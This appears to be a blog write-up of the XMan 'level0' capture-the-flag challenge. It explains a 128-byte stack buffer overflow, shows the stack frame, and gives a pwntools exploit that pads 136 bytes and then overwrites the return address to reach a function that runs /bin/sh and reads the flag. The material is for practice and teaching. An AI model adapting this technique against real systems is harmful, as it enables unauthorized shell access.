yingjie@memoir
Skip to content

Problem

Source: XMan

Description: The novice understands what overflow is and believes she can get a shell.

Analysis

Get a shell via overflow.

Solution

main

c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDuLL);
  return vulnerable_function();
}

vulnerable_function

c
ssize_t vulnerable_function()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF

  return read(0, buf, 0x200uLL);
}

ctf-wiki: Stack Overflow

Stack overflow refers to a situation where the number of bytes written to a variable on the stack exceeds the size allocated for that variable, thereby overwriting the values of adjacent variables on the stack.

Double-click buf to view the stack structure of this function:

-0000000000000080 ; Use data definition commands to create local variables and function arguments.
-0000000000000080 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000080 ; Frame size: 80; Saved regs: 8; Purge: 0
-0000000000000080 ;
-0000000000000080
-0000000000000080 buf             db 128 dup(?)
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

Write the address of the function into r (return address) to make it execute.

callsystem

c
int callsystem()
{
  return system("/bin/sh");
}

This function calls the system's sh, i.e., a shell.

Exp

Write the address of the function callsystem into the r field of the stack of vulnerable_function to get a shell.

Need to fill buf and s with padding: 128 + 8 = 136 bytes.

python
from pwn import *


def exploit():
    context.arch = 'amd64'
    context.binary = './level0'
    callsystem_addr = context.binary.symbols['callsystem']
    print(callsystem_addr)
    r = remote('host', port)
    payload = b'@'*136 + pack(callsystem_addr)
    r.sendlineafter(b'World', payload)
    r.sendline(b'cat ./flag')
    print(r.recvline_endswith(b'}').decode())
    r.close()


def main():
    exploit()


if __name__ == '__main__':
    main()

Summary

Through reverse analysis, we find that the function vulnerable_function has a stack overflow vulnerability, and the function callsystem can invoke the system shell.

Construct a payload, fill the buf and s with junk data, and write the target function’s address into r.

👉Using pwntools